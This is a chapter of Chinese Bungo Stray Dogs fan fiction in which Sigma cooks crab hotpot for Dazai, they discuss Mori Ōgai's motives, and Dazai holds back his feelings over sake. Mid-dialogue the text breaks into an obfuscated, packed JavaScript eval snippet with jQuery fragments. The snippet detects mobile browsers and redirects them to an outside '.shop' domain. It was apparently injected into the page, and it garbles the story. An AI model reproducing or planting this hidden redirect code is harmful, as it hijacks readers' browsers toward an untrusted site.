37.晚饭(太宰治篇)

作品:《[文野]记忆碎片

    傍晚时分,横滨的天空被染成温柔的橘粉色。


    西格玛提着购物袋回到太宰治的公寓,那间不大却莫名温馨的住所。


    她用钥匙打开门,随后径直走到自己暂住的房间,将新买的春装一件件抚平褶皱,仔细挂进衣柜的空位里。


    做完这一切,她转身走进厨房,挽起袖口准备开始准备晚餐。


    冰箱里有昨天买的松叶蟹,还活蹦乱跳的。


    西格玛系上围裙,开始准备晚餐。她动作熟练地处理螃蟹,清洗蔬菜,调制汤底。


    锅里的高汤开始咕嘟咕嘟冒着泡时,玄关传来开门声。


    “我回来了~”太宰治的声音拖着懒洋洋的调子,“哇,好香!是螃蟹锅吗?”


    他换上拖鞋,走进客厅,鸢色的眼睛在看到厨房里,系着围裙忙碌的西格玛时亮了一下。


    暖黄色的灯光洒在她银紫色的长发上,勾勒出纤细的腰身和专注的侧脸。


    这个画面太过家常,太过温暖,让太宰治在门口停顿了两秒才走过去。


    “嗯,松叶蟹锅。”西格玛回头对他笑了笑,“马上就好,先去洗手吧。”


    太宰治乖乖去洗手,回来时已经脱掉了外套,湿漉漉的黑发贴在额前。


    他凑到锅边,像只等待投喂的大猫:“我可以先偷吃一块吗?”


    “不行。”西格玛轻轻拍开他伸向蟹腿的手,“再等五分钟。”


    晚餐端上桌时,整个房间都弥漫着海鲜的鲜甜香气。


    螃蟹被精心摆放在砂锅里,周围是嫩豆腐、白菜、香菇和粉丝,汤底澄澈金黄。


    西格玛还做了几道小菜:凉拌菠菜、茶碗蒸,以及太宰治最喜欢的清酒煮蛤蜊。


    “我开动了~”太宰治双手合十,眼睛闪闪发光。


    他迫不及待地夹起一块蟹肉,蘸了点柚子醋送进嘴里,随即发出满足的叹息,“太好吃了!西格玛,你简直是天使!”


    西格玛被他夸张的反应逗笑,也拿起筷子:“喜欢就好。”


    两人安静地吃了一会儿,只有碗筷碰撞的轻响和窗外隐约传来的车流声。


    这样的夜晚安静得让人心安,西格玛犹豫片刻,还是开了口:


    “太宰,今天下午……我遇到森先生了。”


    太宰治夹菜的动作顿了顿,但很快恢复自然:“哦?那个老男人啊。在哪遇到的?”


    “商业街。我在挑春装,他刚好也在附近。”


    西格玛低头拨弄着碗里的米饭,“他说……只是以森鸥外个人的身份,帮我参考一下衣服搭配。”


    “哈。”太宰治发出一声短促的轻笑,那笑声里带着毫不掩饰的讥讽,“个人的身份’?那个老狐狸嘴里说出来的话,你一个字都别信。”


    他放下筷子,身体微微前倾,鸢色的眼睛盯着西格玛,语气难得认真:“听着,西格玛。森鸥外这个人,永远在算计。他说的每一句话,做的每一件事,背后都有三层以上的意图。”


    “帮你挑衣服?那不过是他观察你、评估你的方式之一。”


    “我知道。”西格玛平静地说,“我能感觉到……他的目光。像是在看一件物品,或者一个有趣的谜题。”


    “比那更糟。”太宰治重新拿起筷子,狠狠戳了戳碗里的蟹壳,“他是在看‘潜在的所有物’。那个男人对美丽又特别的东西,有着病态的收藏欲。”


    西格玛沉默了片刻,然后轻轻点头:“我会提防他的。”


    “很好。”太宰治的脸色缓和了些,他夹起一块蟹肉,忽然想到什么似的,眼睛又亮起来,“话说,你今天买了什么衣服?穿给我看看嘛~”


    西格玛无奈:“先吃饭。”


    太宰治撇撇嘴,但还是乖乖继续吃。


    他吃螃蟹的样子格外认真,修长的手指灵巧地拆解蟹壳,将完整的蟹肉剔出来。


    西格玛看着他的动作,忽然想起什么,也夹起一块蟹腿,用专门的工具仔细剥开,然后将雪白的蟹肉放到太宰治的碗里。


    太宰治愣住了。


    他盯着碗里那块被剥得干干净净、甚至还细心蘸了点柚子醋的蟹肉,又抬头看看西格玛。


    西格玛正低头剥第二块,睫毛在灯光下投出浅浅的阴影,神情专注得像在完成什么重要任务。


    “……西格玛。”太宰治轻声说。


    “嗯?”


    “你知道吗,”太宰治夹起那块蟹肉,没有立刻吃,而是看着它在筷尖微微颤动,“这顿螃蟹锅特别好吃。”


    西格玛抬头,有些困惑:“因为是你喜欢的螃蟹?”


    “不。”太宰治将蟹肉送进嘴里,慢慢咀嚼,然后露出一个很温柔的笑——不是平时那种浮于表面的、带着轻佻的笑,而是更真实、更柔软的笑意,“因为是你做的,所以才这么好吃。”


    他顿了顿,补充道:“而你亲手剥的,就更好吃了。”


    西格玛的脸颊微微发热。


    她低下头,继续剥螃蟹,但耳尖已经染上淡淡的粉色。


    太宰治看着她这副模样,心里的某个角落变得异常柔软。


    但同时,森鸥外的事情像一根刺,扎在他心头。


    那个男人不会无缘无故接近西格玛,更不会用那种“个人身份”的借口。


    森鸥外对西格玛动了心思。


    不是一时兴起的兴趣,而是更深刻、更危险的关注。


    这个认知让太宰治感到一阵烦躁。


    晚餐在微妙的气氛中继续。


    太宰治吃得比平时安静,偶尔抬眼看看西格玛,又迅速移开视线。


    西格玛察觉到他情绪的变化,但没有多问,只是默默给他夹菜、剥螃蟹。


    饭后,西格玛起身收拾碗筷,太宰治却拉住了她的手腕。


    “等等。”他从橱柜里拿出一个小巧的瓷瓶,“今天想喝点酒。”


    那是他珍藏的清酒,平时很少拿出来。太宰治拿出两个小巧的酒杯,倒满澄澈的液体,将其中一杯推到西格玛面前。


    “陪我喝一杯?”他歪着头,笑容里带着些许试探。


    西格玛看了看那杯酒,又看了看太宰治。她其实很少喝酒,但今天……或许可以破例。


    “好。”她坐回座位,接过酒杯。


    两人轻轻碰杯,太宰治一饮而尽,西格玛则小口啜饮。


    清酒的味道比她想象中温和,带着米香的甘甜,滑过喉咙时留下淡淡的暖意。


    “再来一杯?”太宰治又给她倒满,眼睛弯起,“我想看看西格玛喝醉的样子呢~”


    西格玛看了他一眼,端起酒杯:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200427|197107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恐怕会让你失望了。”


    她喝酒的姿态很优雅,不急不缓,一杯接一杯。


    太宰治起初还带着玩笑的心态,想看她微醺的模样,但随着时间推移,他渐渐发现不对劲。


    西格玛的眼睛依然清澈,动作依然平稳,除了脸颊染上淡淡的绯红,几乎看不出任何醉意。


    反倒是太宰治自己,几杯下肚后已经有些晕乎。


    “你酒量……这么好?”太宰治趴在桌上,歪着头看她,声音里带着不可思议。


    “嗯。”西格玛又喝了一口,淡粉色的眼眸在灯光下闪着微光,“好像天生就这样。”


    太宰治盯着她,忽然笑了起来。


    那笑声里有些无奈,有些释然,还有些说不清道不明的情绪。


    他撑起身子,又给自己倒了一杯,这次喝得很慢。


    西格玛的脸颊确实红了,像是被晚霞染过的樱花花瓣。


    那抹红晕从脸颊蔓延到耳尖,再到纤细的脖颈,没入衣领深处。


    她的眼睛比平时更亮,像是蒙着一层薄薄的水雾,看过来时,太宰治感觉自己的心跳漏了一拍。


    酒精让气氛变得微妙而暧昧。


    太宰治看着西格玛端起酒杯时微微颤抖的睫毛,看着她吞咽时滚动的喉结,看着她放下酒杯时指尖无意识摩挲杯沿的小动作。


    每一个细节都像放大了一样清晰。


    他想伸手碰碰她发烫的脸颊,想拨开她额前散落的发丝,想问她现在在想什么。


    但他什么都没做。


    只是静静地看着,将这画面刻进记忆深处。


    西格玛又喝了一杯,然后轻轻舒了口气。


    她看向太宰治,发现对方正目不转睛地盯着自己,眼神复杂难辨。


    “怎么了?”她问,声音比平时软了些。


    太宰治摇摇头,露出一个温柔到近乎虚幻的笑容:“没什么。只是觉得……今晚的西格玛,特别好看。”


    西格玛怔了怔,然后低下头,耳尖更红了。


    太宰治看着她这副模样,心里的某个声音在轻声叹息。


    亲爱的,忍耐对你的爱意,这并不容易。


    这句话没有说出口,只是在他心底反复回响,像潮水拍打岸边,一次又一次。


    他知道现在还不是时候。


    西格玛刚刚开始新的生活,刚刚学会信任,刚刚找到一点归属感。


    他不能用自己的感情去打扰她,不能让她感到压力或困惑。


    所以他只是继续喝酒,继续看着她,继续将这汹涌的情感压回心底最深的角落。


    窗外夜色渐深,城市的灯火一盏盏亮起。


    公寓里,清酒的香气还未散去,螃蟹锅的余温尚在。


    两个各怀心事的人对坐着,一个脸颊微红眼神清明,一个看似醉意朦胧内心却异常清醒。


    这个春夜还很长。


    而太宰治知道,他需要更多的耐心,更多的克制,以及更多的……等待。


    等待那朵花自愿绽放的时刻。


    等待她能坦然接受这份爱意的那一天。


    在那之前,他会继续扮演那个轻浮的、爱开玩笑的、偶尔温柔的前辈,守在她身边,保护她,陪伴她。


    哪怕这份忍耐,真的并不容易。